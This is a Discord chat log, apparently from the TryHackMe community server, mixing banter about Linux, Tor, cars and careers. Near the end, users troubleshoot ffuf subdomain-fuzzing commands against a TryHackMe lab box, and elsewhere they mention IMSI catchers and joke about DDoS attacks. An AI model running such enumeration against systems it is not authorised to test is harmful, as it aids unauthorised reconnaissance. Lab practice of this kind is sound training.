general

[glacial berry]

Just got vencord

This is awesome

[blissful current]

wot for?

[glacial berry]

GTA VI

[blissful current]

lol

[glacial berry]

I can pet anything now

[blissful current]

[bold rover]

https://tenor.com/view/yuji-stare-yuji-itadori-jjk-jujutsu-kaisen-yuji-stare-meme-gif-2566228405341525362

[glacial berry]

I got an idea

[glacial berry]

Barely visible

[blissful current]

[glacial berry]

Well, lunch time

Gonna go to canteen

Will be back

Soon

[blissful current]

lunch time as well

[glacial berry]

Mmm

[stoic quarry]

Yum

[blissful current]

[fading perch]

has anyone ever used an IMSI catcher?

[stoic quarry]

Could be illegal to use one depending on where you are

[bold rover]

https://tenor.com/view/sasuke-thinking-anime-naruto-gif-13593873

[twin ridge]

Gave +1 Rep to @grizzled anchor (current: #3672 - 1)

[fading perch]

Is it also illegal to use it to track people's locations?

[quick blaze]

It depends.

[queen flare]

generally yes

[mental spoke]

LMAOOO github WANTS ME TO DO THIS 10 TIMES?! \

what kinda troll ass shit is this

[signal ingot]

what vpn u are using right now?

[mental spoke]

none nada zip zero

how do they expect me to solve this one

[stoic quarry]

Check your local laws. It's usually illegal uess you're law enforcement

[mental spoke]

this system has GOT to be built by a troll

[stoic quarry]

Github innit

[mental spoke]

omggg i got one of the 10 wrong and now i have to do 10 more LMAOOO

[stoic quarry]

Imagine grandma trying to log into a website and she has to understand this

Godspeed grandma

[mental spoke]

yeah this is CURSED

im straight up just not gonna do it

rip

[stoic quarry]

Mmhm

Complain to github lol

They probably won't do anything

[mental spoke]

they wont. even tho thats absurd and nearly impossible to do correctly because the imgs render all broken

imma try to signup on my phone

[stoic quarry]

Don't they have SSO with Microsoft accounts

[mental spoke]

if you use microsoft yes

rip its doing it to my phone too they prob flagged my ip. im absolutely not doing that puzzle rn

[stoic quarry]

Good luck next time ig

[mental spoke]

i lied i did it and got a failed to create account issue

lovely.

[narrow yew]

lies and lies

[stoic quarry]

And more lies

[narrow yew]

https://tenor.com/view/sussa-gif-13201864660798279715

[queen flare]

How do you guys use RFCs for learning about something? Do you guys read them cover to cover or only look into them if u can't find something elsewhere or just google and look other less complicated articles about the topic?

[cosmic saddle]

guys i have no background in cybersecurity i just signed up for thm where and what should i start with?

[sturdy sequoia]

#start-here

[cosmic saddle]

ok so what should i start learning

[sturdy sequoia]

scroll up

read the link i sent

[lucid pumice]

:hammer: eyesprep0720#0 has been banned.

[cosmic saddle]

what do i type here i said cybersecurity and it says its wrong

[narrow yew]

Read the text above

and then read the question

[cosmic saddle]

ok i did that and it worked

[mortal sparrow]

Ew
Security analyst
Be a man and do penetration testing

[cosmic saddle]

ok i guess

i am still new so i have no background on anything

[narrow yew]

you work with that?

I thougt you were still in school

[cosmic saddle]

i still i am

[narrow yew]

Not you, the Yon guy taking a piss on Soc analyst's

while not having a job, the irony

[cosmic saddle]

which is better cuz i am lost now what to learn first

or what to do

[mortal sparrow]

Fah nah
I'm 22

[mortal sparrow]

Fuck u mean bro I'm studying
I work as a software dev

[narrow yew]

Did you not write the other day you were studying from home

[mortal sparrow]

Ain't u got sum better to do than to be a prick?

[mortal sparrow]

Yeah... U can work from home too

It's a thing in these days

[cosmic saddle]

ok i will just learn pen testing sounds more fun tbh

[narrow yew]

you can do that in soc also, not a problem at all

[mortal sparrow]

Hehe
I was joking but sure
I think pentesting is the basis to know before being in SOC

[cosmic saddle]

so i leaen pen testing then SOC ?

[narrow yew]

You will learn it on the path to SOC also

[cosmic saddle]

should i leanr any coding languages too?

[narrow yew]

For you personally sure, coding needed for SOC you will learn anyways

queries, pulling data, building playbooks etc

[stoic quarry]

I'd say the opposite tbh

That and you're more likely to get a SOC job than a Pentesting job

Pentesting is definitely sexier and is what people think of when you say you work in cybersecurity, but most businesses need defending

Pentests for Audits are nice but depending on where you are those will usually be annually and done by an external contractor

[narrow yew]

Thanks @stoic quarry

[twin ridge]

Gave +1 Rep to @stoic quarry (current: #99 - 110)

[stoic quarry]

Uh

Np!

It's good to know how pentesting works for sure tho

[narrow yew]

Good analysis as always

Just wish the youngsters would listen to you

[stoic quarry]

Pentesting looks sexy

A tiktok video of someone rooting a machine gets more views than someone going through pcaps to find which IP is conducting a port scan y'know

[blissful current]

[blissful current]

coz they want to ||hack their GF's Insta account||

[stoic quarry]

It's commonly that aye

[blissful current]

[narrow yew]

And they get upset when you call them out 🙂

so fast

[stuck ridge]

My government made a laws when ads have to skipable after 5 secs

[stoic quarry]

Based

[stuck ridge]

And yall are not

[stoic quarry]

?

You don't know where I live

[mental spoke]

setting up depencencies for a build on win11 may be my 13th reason

windows can actually eat my shit.

im so done with it. microslop can go die

[stoic quarry]

How are you installing it?

[mental spoke]

chocolatey and having to deal w cmake

im just over it. windows genuinely sucks. if i was using linux i would have been done 30 mins ago.

[stoic quarry]

Do you build them often? If so just write a script to do it all so you can scale easier

[mental spoke]

i did exactly that it just wanted to break itself 15 times.

[stoic quarry]

Lmao

[mental spoke]

MSVC just has a load of nonsense

[stoic quarry]

Lmao

[mental spoke]

installed the 2022 community tools, watched the package break itself and im abt to take my windows m.2 and burn it in a fire

i will attempt to migrate to using that instead because yeah this is a massive headache like genuinely

[bold rover]

https://tenor.com/view/linux-gif-26421669

[stoic quarry]

Specifically anime girl desktops

Hate it lol

Who stares at their desktop all day

[bold rover]

https://tenor.com/view/sweats-gif-25346666

[stoic quarry]

Too confusing

Gave up

[mental spoke]

im doing all of this just to get a build going on a stupid ass software

"just install the dependencies"

install my foot into your rear

they did but because im modifiying the fork ill need to be able to build it myself

100% agreed there

would be wayyy better

This better save the day

[stoic quarry]

It's MS

[mental spoke]

i have such a huge project ahead of me and im over here getting choked out by some dependencies

good point 😭

mm rust

rust makes things sm easier. its efficient

my project will take months and thats if i can even properly pull it off, ill need collaborators over time

thank you its all a static html file LOL

not today LOL. skipping the framework stack to focus on actually building technical documents for this project

I need to go and place an order for a New raspberry pi 5 and another pico and a MCP4728 I2C DAC breakout board and a few other things

[worldly pollen]

I have some question abt security enginner role who can help me

[worldly pollen]

try to use torbrowser but make sure to stay secure

and u can also combinate with tails

[stuck ridge]

Why do you need?

[worldly pollen]

hiddenwikki

[stuck ridge]

You arent going there just to take 2 screenshots and scare your friends

-# the fact that there isnt any website there

The darkweb isnt for curiosity. It is too dangerous

[worldly pollen]

if u are gonna do that lemme know I wanna see them

[stuck ridge]

Your information, everythings.

Wdym

Only enter the darkweb with a popurse

Yes.

It is very scary.

You shouldn't go in there.

Darkweb.

Even we are scare of the darkweb. The ethical hackers you know.

You shouldn't go there.

I bet it is not your real address dang

[stoic quarry]

🤓

[stuck ridge]

Never. It is very scary.

It is the most deepest area in the internet. You shouldn't never go there.

[stoic quarry]

Why

[faint vigil]

lmfao

[stoic quarry]

For what

[stuck ridge]

NO, never.

[faint vigil]

for fun

[stoic quarry]

What fun

[stuck ridge]

DONT EVER go there

[stoic quarry]

There isnt much "fun" to be had lmao

[faint vigil]

Should I stick with windows 11 or try Ziron?

[stuck ridge]

NOONNOBOBOOB

DONT

DONT

Ụg

[stoic quarry]

What's your use case?

[stuck ridge]

Actually it isnt that scare bruh

[stoic quarry]

Windows is fine

[faint vigil]

Gaming, and doing thm

[stoic quarry]

Windows probably best

[faint vigil]

so Vms sometimes

[stoic quarry]

I'd recommend having a Linux VM so you can learn tools properly

[faint vigil]

true specially with things like fornite

[stuck ridge]

It is not that scare bruh, just get full opsec, dont click on random links, do not download anything, use vpn and tor and you r good

[faint vigil]

I'll just install it on my other pc that already has mint lol

[mental spoke]

dont worry im still at it trying to get this build to work

[stoic quarry]

Use a VPN and tor

Bruh

[stuck ridge]

Also, there isnt any "organs seller" or "red room" on there, they r all fake or creepy pasta

[stoic quarry]

Fair enough

[mental spoke]

ahh yes the ppl that think using TOR with a VPN is a good idea

[stuck ridge]

But u might find scary website that only used to scare you ahh

Btw, u might find some criminals markets in there, which sell drugs or exploits

[stoic quarry]

Fair enough

[mental spoke]

Never use a VPN with tor at the same time.

[stoic quarry]

Depends if you trust exit nodes

[stuck ridge]

And if you found an exploit abt discord. Remind us :))

[stuck ridge]

Why?

[stoic quarry]

Some vpn providers won't let you anyway

[stuck ridge]

Welp, also if you want more opsec. Use vm

[stoic quarry]

Uh

[mental spoke]

A few major reasons. Tors design philosophy is built around eliminating the need for any single trusted entity. when you add a VPN you reintroduce that. and ontop of that your vpn provider sees you are connecting to tor and knows your real ip. you replaced your ISPs visibilty with the vpns and thats actually a worse trade most times since ISPs are regulated and vpns lie about logging. and if the VPN is subpoenaed or compromised your exposed. and ontop of that you gain almost nothing. theres really no good trade off for it and you increase your attack surface

[stoic quarry]

No?

[mental spoke]

i keep trying to use Ctrl + alt + T on windows and im losing my mind

[stoic quarry]

You can use a VM and have 10+ proxies, but if you post "Hey guys I live in X city" then you have shit OPSEC no matter how complicated you made your setup

[stoic quarry]

I feel that

[mental spoke]

It drives me nuts im abt to make it a custom keybind

im so used to linux atp

[stoic quarry]

Auto hotkey still the usual one?

I forgot what windows users need for keybinds

[mental spoke]

ill end up using razer synapse in my case because it allows custom macro creation

but auto hotkey is a good choice still

[stoic quarry]

Fair

[mental spoke]

esp for ppl without keyboard software

i love the linux community. razer decided to not make linux support so they went and reverse engineered synapse and made an open source fork of it and made the hardware detectable in custom applications easier

and its WAY better than razers dookie windows software

[stoic quarry]

Oh really? That's sick

Love FOSS communities

[mental spoke]

yes its actually awesome. its a lot faster than razers setup and they removed all the bloat and bs

[stoic quarry]

I have Razer stuff but don't really care about making my keyboard go red yk

And KDE has easy keybinds

[mental spoke]

i completely understand that tbh, i use it because i have a 60% and need to add certain macros to spots for keys im missing or i use to to change my dpi

KDE is amazing for that

[stoic quarry]

True. Mind sending me a link? I need to adjust the DPI lmao

[mental spoke]

my main distro i use is KDE and arch based

[mental spoke]

yes one sec

[stoic quarry]

My mouse is either slow, fast, too fast, way too fast, or stupid fast

[mental spoke]

https://openrazer.github.io/

yay -S razergenie < this is the gui for the driver

or sudo apt install razergenie if debian

[lucid pumice]

:hammer: tet_66#0 has been banned.

[mental spoke]

he got snipped rq

[stoic quarry]

Thanks!

[twin ridge]

Gave +1 Rep to @mental spoke (current: #761 - 10)

[sturdy sequoia]

+rep @cloud quiver

[twin ridge]

Gave +1 Rep to @cloud quiver (current: #1 - 6130)

[mental spoke]

make sure to add yourself to plugdev or things wont work sudo gpasswd -a $USER plugdev

if you have issues just ask claude to help you install it, super easy and takes like 5 commands max to get it all working

you can also just use polychromatic instead of razergenie

[stoic quarry]

I'll probs just read docs but cheers

[mental spoke]

https://polychromatic.app/

just easier for some ppl to do that then read docs, if youre comfortable with computers docs are no issue

[stoic quarry]

I also just don't like LLMs lol

[mental spoke]

completely understandable

[stoic quarry]

Watched someone use Claude to find the average of 7 numbers yesterday

[mental spoke]

some ppl rely on it WAY to much and are gonna become braindead

[stoic quarry]

Truly a tool the likes of which haven't been seen before

[weak rampart]

also kde user here, it's fire

[stoic quarry]

Yeah its nice

[mental spoke]

i use garuda linux and love it

[stoic quarry]

Neat

[bold rover]

@weak rampart sup 👋

[mental spoke]

I wanna mess with this flavor of garuda but havent yet

[bold rover]

Cool

https://tenor.com/view/hypr-hyprland-hyperland-hyper-heart-gif-4211373731907459847

[mental spoke]

some ppl here would really dislike the flavor i daily tho LOL its really extra and colorful

[bold rover]

Who gives a fuck

You like it

You use it

[mental spoke]

exactlyyyyyy

[bold rover]

https://tenor.com/view/bocchi-the-rock-ryo-yamada-thumbs-up-you-got-this-good-job-gif-8753681333261599328

[mental spoke]

i enjoy it even tho its a bit heavy

[weak rampart]

hey

I'm so hyped dude

[bold rover]

This is cool too

[weak rampart]

i met so many people

[bold rover]

Cool

[weak rampart]

met a dude from my country's national cyber team

[mental spoke]

its pretty fun. its a very clean distro theme wise and they did a great job

[bold rover]

-# we do it daily

[weak rampart]

i don't

[bold rover]

Oh

[weak rampart]

it's new to me

[bold rover]

Right

[weak rampart]

yes

[bold rover]

That's nice

I'm more of a weeb

https://tenor.com/view/velzarii-velzarii-vt-velzarii-vtuber-vtuber-envtuber-gif-12521535542759742181

So i like mine colourful

[blissful current]

[fading perch]

i want to be top 1

but, i'm lazy study

[stoic quarry]

Gl

[mental spoke]

after 2 hours of fighting dependencies i got the build complete... that took WAY too long holy

[weak rampart]

we know

kde is great for colorful things

[bold rover]

https://tenor.com/view/cat-girl-head-pat-headpat-anime-gif-15491115994804690187

[bold rover]

Trash 🗑️🗑️🗑️

[mental spoke]

Getting this built took 2 hours

time for sleep that was a headache

[fading perch]

share the wallpaper pls

[bold rover]

Lol

I will when I get back

Dm me

So I'll remember

[bold rover]

I got more

[fading perch]

where did you get it from

[bold rover]

https://tenor.com/view/secret-boss-baby-on-the-phone-gif-7991222

[fading perch]

just share to me

[bold rover]

Cool

Dm me

Or else I'll forget

Just say wallpaper

[fading perch]

wallpaper

[bold rover]

@sick maple

-# help me

[rocky night]

Idc

[fading perch]

Snowie has fallen on the battlefield

[bold rover]

Damn

Hope she's fine

[fading perch]

RIP Snowie

[sick lance]

@brisk tree Fucked off back home yet?

[bold rover]

https://tenor.com/view/who-tf-asked-nasas-radar-dish-who-asked-nobody-asked-gif-17675657

[bold rover]

Fr

[bold rover]

Ok, now go study

[bold rover]

I'll send the wallpapers tonight

[fading perch]

I will beat 0day

[bold rover]

Cool

I believe you

[fading perch]

https://tenor.com/view/hazbik-mortal-combat-gif-3795006771601208806

[bold rover]

https://tenor.com/view/anime-fate-saber-stay-night-heavens-feel-gif-14862069

[quick blaze]

No. 👍🏼

@hasty sand what do you think?

[bold rover]

Lol, yesterday i pinged skidy and got a warning

[quick blaze]

What for?

[sick lance]

..For pinging Skidy?

Lol.

[quick blaze]

Sounds dumb. 😀

[weak rampart]

What's that???

[sick lance]

Was it automod?

[bold rover]

Simply wanted his opinion

[bold rover]

No someone did it

[quick blaze]

Interesting.

[bold rover]

Must be him

[sick lance]

I see @lone thistle is back on the mod team.

[bold rover]

Oh

Damn

Gotta keep a eye out

[bold rover]

The future

[weak rampart]

no I'm asking for real, what's this graphical thing called

gui?

[bold rover]

Arch with hyprland

[weak rampart]

hyprland okay

thanks

[bold rover]

Cool

[weak rampart]

nevermind, i might use it when i eventually switch to arch though

[quick blaze]

Crazy setup btw.

[weak rampart]

my linux mint would never

[sick lance]

People who use Arch aren't hackers.

They're too busy customising their GUI and telling people they use Arch, to actually do any hacking.

[weak rampart]

if i use it, it'd be so i master linux stuff, not for hacking

[weak rampart]

what do you use for hacking

[sick lance]

Kali.

Why fix something that isn't broken.

[bold rover]

https://tenor.com/view/burger-king-gif-3727733911079342393

[weak rampart]

kali minimal?

or you don't care about these stuff

[sick lance]

Wdym?

[bold rover]

https://tenor.com/view/is-someone-jealous-daniel-espinoza-kevin-alejandro-detective-espinoza-lucifer-gif-17384604

[sick lance]

...Jealous of what. exactly?

[bold rover]

https://tenor.com/view/shh-cats-gif-14317670277085954258

[quick blaze]

There's only one version. Kali.

[sick lance]

Incorrect.

[bold rover]

Wrong

[quick blaze]

Is it.

[sick lance]

You have Purple Kali.

[bold rover]

Bro

[bold rover]

Exactly

[quick blaze]

🤔😲

[bold rover]

Details matter

[quick blaze]

First I'm hearing of it...

What's the difference

[bold rover]

Tf

[bold rover]

Security based

[quick blaze]

I just use too much remnux and commando so.

[bold rover]

I guess

[weak rampart]

i was trying to ask, do you care if it comes pre installed with all the 50 tools or would you prefer it to come as minimal as possible (aka clean) and you install only what you need

[bold rover]

Ohh i see

[sick lance]

I install all toold.

Then my own, and other tools which doens't come in Kali.

[sick lance]

It only came out, I dunno, 2 years ago? lol.

It's a Kali release with more blue tools than normal Kali.

[bold rover]

It's perfect for bleu

[quick blaze]

I do everything on remnux, unless it's disk forensics or windows file analysis or crazy windows log analyss, zimmerman toolkit and stuff like autopsy helps out a lot here.

I hate windows log analysis but meh.

[stoic quarry]

Kali Purple didn't have curl on release didnt it?

Or wget

[quick blaze]

Will look into it, thank you.

[twin ridge]

Gave +1 Rep to @sick lance (current: #2 - 3970)

[stoic quarry]

Something super basic

[sick lance]

🙂

I use AB wallpaper too.

[bold rover]

Ya it was Missing essential Stuff

[stoic quarry]

Lmao

[quick blaze]

Is it better maintained/packed now?

[bold rover]

For a second i thought that was attackbox

[bold rover]

Don't know, don't use it

[stoic quarry]

Seems so

[bold rover]

Just give it a try

See how it feels

[quick blaze]

I land back home in 9 hours...got two days to prep for a CTF first and then I'll see.

[stoic quarry]

Hell yeah

[bold rover]

Cool

[quick blaze]

In my balls....innit.

[sick lance]

It may as well be, I have pretty much all of it on my Kali.

Kek

[bold rover]

Rest well

[bold rover]

Lol

[quick blaze]

Honestly fair. Niki Lauda used to say that he had a great ass, that's why he felt the car components and the way it drove.

[copper flame]

lauda?

[quick blaze]

We should be having good balls to know what tools tingle em good or not innit.

[bold rover]

Fr

[quick blaze]

Austrian F1 driver.

[bold rover]

One of the best one

[copper flame]

oh i thought in hindi it was.. uhh.. leabe it

[bold rover]

Liked his movie

[bold rover]

[quick blaze]

Good stuff, a good portrayal as well, he liked it.

[copper flame]

u mean max verstappen?

[bold rover]

https://tenor.com/view/sasuke-thinking-anime-naruto-gif-13593873

[copper flame]

starring brad

[quick blaze]

I'm a merc guy ey...

You too?

I'm also a huge Ferrari/Italy guy so Antonelli in Merc makes it even better for me. :)

[stoic quarry]

Suzuki swift rise up

[quick blaze]

The depression.

[weak rampart]

yeah until someone offers you one free

[quick blaze]

😭.

Oh damn.

Sounds strange, the 488 has a pretty reliable engine, shares it with other variants too.

Gearbox is good too.

What's it been in the workshop for all those times?

This is bullshit.

I will not take this disrespect. Fucking lambos.

He might've gotten a bad model? could just talk to Ferrari about it? Has he done that yet?

[stuck ridge]

I feel so burn out

[quick blaze]

Weird. 488 doesn't have many reliability issues.

AMG GTs are super nice yeah.

Honestly I like the c8, looks nice!

Yuuurrrr.

They're not as expensive as the AMG GTs or 911s too.

But I still like me some Merc/Ferrari

True true. 😆

[stuck ridge]

THE ESCALATION MODULES IS F*CLING TORTURE

[quick blaze]

👀

[quick blaze]

??

#room-help

[stuck ridge]

Nah, i just feel so burn out

[quick blaze]

Then don't do the module. 😆

[topaz steeple]

Uh so there is a war goin on?!

💀

[quick blaze]

Politics out of here.

About to ping the mods...

[stuck ridge]

Iran is trying against 15 others countries

[eager marsh]

Say hi to Slava and Kib for me

[quick blaze]

Will do!

[topaz steeple]

Well, yeah

[bold rover]

Hii vader hru?

[eager marsh]

I’m good

[stuck ridge]

https://tenor.com/view/family-guy-mental-crazy-peter-griffin-psych-ward-psych-ward-gif-611220539684378901

I cannot sit here and read information anymore😭 Im need a CTF..I NEED A CTF HAHAHADKSKAJ

[oak river]

How's everyone today?

[bold rover]

Nice to hear that

[oak river]

Just get more RAM and do vulnhub

[stuck ridge]

AKDHJAHAHAHHSHAHAHAHAHAHDHHAA

IM GOING CRAZY

[oak river]

Get some Menthyl isovalerate

[quick blaze]

A good CTF this weekend.

DiceCTF.

Have fun.

[stuck ridge]

WHERE, WHERE, I NEED IT

[quick blaze]

https://ctftime.org/ctf/568/

[acoustic crystal]

[sick lance]

No, say hi yourself.

[hallow hazel]

hi scrubz

[sick lance]

Hai

[hallow hazel]

what's up on this fine thursday

[stuck ridge]

What is that

[sick lance]

A platform you can download VMS from, taken over by htb

[oak river]

Virtual machines that are ready to be deployed through something like Oracle Virtualbox and you are supposed to use your knowledge to get a flag/file/access or full control at the target machine

[sick lance]

You'll find a few of the machines on them on there.

[stuck ridge]

I already have a homelab?

Can i do it on my homelab?

[oak river]

By the way, do you think that people with little knowledge/experience are also okay to participate in any ctf's?

[oak river]

Of course

[stuck ridge]

Yes, if they can find the flags

[oak river]

I haven't really done anything on vulnhub but you should be able to, there are guides

[sick lance]

Yes.

You'll learn stuff regardless of how you do.

[stuck ridge]

If they can they can

[oak river]

I guess this is like that time where I had to recover a windows password on an unencrypted laptop

Never had done it before, but once I sat I did it

for the first time ever with chatgpt lol

Hiren'S boot

[sick lance]

If you're like me, you'll learn more about yourself failing, than you will being successful.

[oak river]

I believe failure is a success in itself

If we didn't fail we wouldn't be able to succeed

[sick lance]

It certainly is.

[bold rover]

That's how you learn, trial and error

https://tenor.com/view/improvise-adapt-overcome-bear-grylls-gif-10468556

[stoic quarry]

Best way to learn is to try and fail

Then learn why you failed

[oak river]

Lately I feel very tired of theory to be fair

[bold rover]

Then learn how you failed

Then learn what failed you

[stoic quarry]

Go slightly deeper than what you know and you'll learn faster than sticking in the stuff you're comfortable with

[eager marsh]

Lmao

[stuck ridge]

Finally...

[sick lance]

PT1 next.

[stuck ridge]

me poor, my parents wont allow

[stoic quarry]

Time to wash cars until you get money ig

[stuck ridge]

i have money, enough, only thing that is my parents wont allow me to buy such as a thing

[bold rover]

Mr silastic, make it shine

[stoic quarry]

https://tenor.com/view/caseoh-pressure-washer-gif-3872867363977153281

[stuck ridge]

My goal is achieved...

I can finally call myself a hacker🥹

[oak river]

https://tenor.com/view/hamster-rolled-head-empty-hamster-puddle-gif-13374015382951254486

[tame axle]

hello ppl

[oak river]

Hi

Going for a lunch break, brb

[tame axle]

alr

[tame axle]

good job

[bold rover]

https://tenor.com/view/yuji-stare-yuji-itadori-jjk-jujutsu-kaisen-yuji-stare-meme-gif-2566228405341525362

[stuck ridge]

What is wrong?

[agile topaz]

https://cdn.discordapp.com/attachments/1373308514306490541/1408431587120648294/togif.gif

[bold rover]

How to perform a reverse shell

Tell me

No using online sources, be true to yourself

[stuck ridge]

Uhm uhmmm, first uhmm get the- the payload? Oh nah get the shell on - on target with privilege user and then then execute the payloads. And use a uhm and uhm wait no uhmmm

Jk

[bold rover]

https://tenor.com/view/zenitsu-demon-slayer-anime-stare-angry-gif-11078347661675215665

[bold rover]

No your not

Go study more

[stuck ridge]

Nooooo

[agile topaz]

https://media.discordapp.net/attachments/929079030588788789/1095374475341598751/maximum-tension.gif

[stuck ridge]

What is this?

[agile topaz]

A gif

[weak rampart]

caseoh mentioned

[stoic quarry]

Bro is gatekeeping in the TryHackMe discord

[stoic quarry]

What is that

[weak rampart]

@manic oyster eliminate the competition early

[weak rampart]

this dude you sent

is a streamer

named caseoh

[stoic quarry]

Okay

[weak rampart]

you don't know him?

[stuck ridge]

He is not anything to me😈

[stoic quarry]

Nope

[weak rampart]

I'd be more worried about DrOPSEC

[stuck ridge]

I ddosed 67 people, google, cloudflare, etc😈

[sick lance]

At what point do you consider this harassment?

[weak rampart]

dude I'm joking

[stuck ridge]

I have his ip😈 im the final boss hecker

[weak rampart]

i mean I don't know

[stuck ridge]

Bro pinged him like 6767 times

[weak rampart]

lowkey yeah

if he was actually active and not just troll alt account he'd just block me lowkey

[sick lance]

Because that would make it better...

[weak rampart]

yeah

bro you can't say his account is made seriously

that's obviously a joke account

[sick lance]

Doesn't mean they deserve to be pinged 2-4 times a day. 😅

[weak rampart]

i like pinging him, he's funny

[stuck ridge]

Should i make an account for you to ping?

[weak rampart]

no

[stuck ridge]

Ok

[weak rampart]

i want iphacker specifically

[sick lance]

Oh, so it's almost like low key bullying, I get it.

Keep doing you.

[stoic quarry]

You'd be surprised what watching 1 episode of Mr. Robot will do to you

[weak rampart]

no

i don't bully people

[stuck ridge]

Then you gonna go learn how to hack and give up cuz it is too hard or go with skid way (99,98%)

[stoic quarry]

I don't understand half of that

[stuck ridge]

Now im a hecker😈

[glacial berry]

[sick lance]

Get a train on your CLI.

[stoic quarry]

🚆

[stuck ridge]

Bruh, idk if parrot repo have it

[mortal sparrow]

did someone manage to do the takeover box lately?
https://tryhackme.com/room/takeover

❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H "Host: FUZZ.futurevera.thm" \
  -u https://futurevera.thm \
  -k -fw 1511 -fs 4605 \
  -o takeover.json -of json

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://futurevera.thm
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.futurevera.thm
 :: Output file      : takeover.json
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 4605
 :: Filter           : Response words: 1511
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 578 req/sec :: Duration: [0:03:00] :: Errors: 0 ::

like tf?

[sick maple]

u need wallpapers?

[sick lance]

#general message

Choo choo

[finite basalt]

We got tryhackme HS2 before we got HS2 😮‍💨

[sick lance]

Kek

[mortal sparrow]

bro wdym ~kek~?!?!?!

i need help 😭

[sick lance]

Why are you looking for a json file?

[mortal sparrow]

its not looking its output

[sick lance]

Tried a different directory list?

[sick maple]

sl but more colors

nice

[sick lance]

lolcat makes everything rainbow.

[mortal sparrow]

tried like 5 different ones

even rockyou at some point

[sick lance]

Rockyou is a password file?

Lmao.

[mortal sparrow]

I KNOW AND I STILL TRIED IT

[sick lance]

One moment.

[finite basalt]

Are you saying there's nothing found inside the json output?

[mortal sparrow]

there's output but no hits
it wouldve shown on the term too

[finite basalt]

is there a dns server for the box that you query?

[sick maple]

ohhhh

[mortal sparrow]

nothing was mentioned in the description of the box...
I did add the IP to the hosts file

there's this in one of the writeups.
I dont understand how he came into that conclusion

[finite basalt]

I'd personally try the Discovery/DNS/namelist.txt wordlist, maybe sublist3r, dnsrecon or just a simple dig

[tame moss]

I believe you have to manually enumerate instead of using ffuf or other tools

[sick lance]

[mortal sparrow]

bro what the fuck

[sick lance]

And I literally just done that there.

[mortal sparrow]

that's fucking cap bro
what????
why did it work for u and not me?

[sick lance]

Add in -u https://10.10.125.247

[finite basalt]

Yeah I wonder if it's struggling with resolving the IP from hosts maybe

[sick lance]

ffuf -u https://10.10.125.247 -fs 0,4605 -H "Host: FUZZ.futurevera.thm" -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

@ocean wasp May I help you?

[finite basalt]

I assume it's because it's sending the requests from the host you define rather than the fuzzed host (in terms of headers)?

[finite basalt]

does it work if you change it from IP to hostname?

[mortal sparrow]

running it now
runs slow but i will let you know

[sick lance]

Nah.

[finite basalt]

yeah I'm guessing it's a header thing maybe?

[mortal sparrow]

oh my mistake I copied your command and forgot about the IP

yeah I got 2 bingos, blog and support

[pure steeple]

ffuf doesn’t set headers automatically, this has bitten me in the past

[mortal sparrow]

it is an issue with resolving the url

[sick lance]

Yeah, it's using the IP as the main lookup, and futurevera as the header.

Equivalent to house and mailbox

[mortal sparrow]

why does it work like that?

can u explain im geniouly curious

how do u spell that work?

[pure steeple]

-H is for header

[finite basalt]

Yeah that was my guess was that it was sending direct to the "mailbox"

[mortal sparrow]

like the header for the request?
so why did enum on the url didnt work but the IP did?

[urban ravine]

I just across something that personally I think is insane. I was trying to find an old friend of mine. All I did was give google ai a couple pieces of information and it gave me her whole back story and what area she’s from. Obviously I know where she’s from but 👀 I dunno. It rubs me the wrong way.

[sick lance]

You're using the IP to look up the website, but using the host to specify.

[pure steeple]

Sometimes there will be multiple sub domains, urls at the same ip

[mortal sparrow]

nah I figured that out
but why
I hit some weird wildcard when I was running domain with the host header, like I got returned 200 for every single entry

[pure steeple]

Server may be configured to catch all urls (with a wild card) and redirect to a single pattern?

[mortal sparrow]

possible
but every single one?

idk seemed abit off
never encountered it before

[pure steeple]

Creator might have wanted to make the fuzzing a bit more of a challenge

People might do it to avoid broken links, for weird search engine optimization purposes

[mortal sparrow]

good point

[pure steeple]

lucky for you, you get to practice your filtering

[tame axle]

guys my school asked to make a cv because we have smth called work experience and i put my skills dose it look alr ? pls dont flame me

[wet eagle]

it looks good in my opinion 😄

[pure steeple]

Have you actually done red teaming?

[tame axle]

i meant to put offensive security mb

[mortal sparrow]

@sick lance lolz

[pure steeple]

offensive security ( then give details )

[tame axle]

thx

[twin ridge]

Gave +1 Rep to @pure steeple (current: #136 - 77)

[pure steeple]

What are you referencing with "permission-based"?

[wet eagle]

Perhaps he didn't want to sound like a black hat

[tame axle]

that i dont do illeagal shit

[pure steeple]

You probably don't need to state this on a resume, it's implied

[tame axle]

oh alr thx

[pure steeple]

Better to give examples of which offensive security areas you have skills in

Whether it is web, active directory, network/MITM, wireless, malware etc etc.

[stuck ridge]

"Can you hack this account for me?"
"sorry, i only master osint"

[tame axle]

?

[tame axle]

thanks for the help

[twin ridge]

Gave +1 Rep to @pure steeple (current: #134 - 78)

[stuck ridge]

There was a guy tell me to hack something in tiktok

[wet eagle]

Guys I have a question that I hope you could help me with, I was wondering with what language should I start with? Python 3 or C++? Thanks!

[stuck ridge]

Python

Ofc

[pure steeple]

nah, C

[tame axle]

python its fun and useful

[stuck ridge]

It is the easiest language and the most common know to beginner

[pure steeple]

go do CS50

[wet eagle]

hmm

[tame axle]

u mean the harvard cert ryt ?

[stuck ridge]

He isnt learning rev😭

[wet eagle]

I'm pretty much a beginner after all

[pure steeple]

it is a free online Harvard class, intro to CS, yes

[stuck ridge]

Go python

[tame axle]

yh i did that

[pure steeple]

C

Cccccccccccccc

Look I can type mine more

That means I'm right

[wet eagle]

couldnt I just learn both ? 🤔

Or is that way too ambitious

[pure steeple]

CS50 teaches C to start and moves into Python

[tame axle]

bro C takes time i lost so much of hair learning that and i still cant program it properly

[wet eagle]

Okayy

[pure steeple]

hair losing == learning

[tame axle]

its free and useful for the basic understanding

[pure steeple]

compsci is the foundation of compsec

[wet eagle]

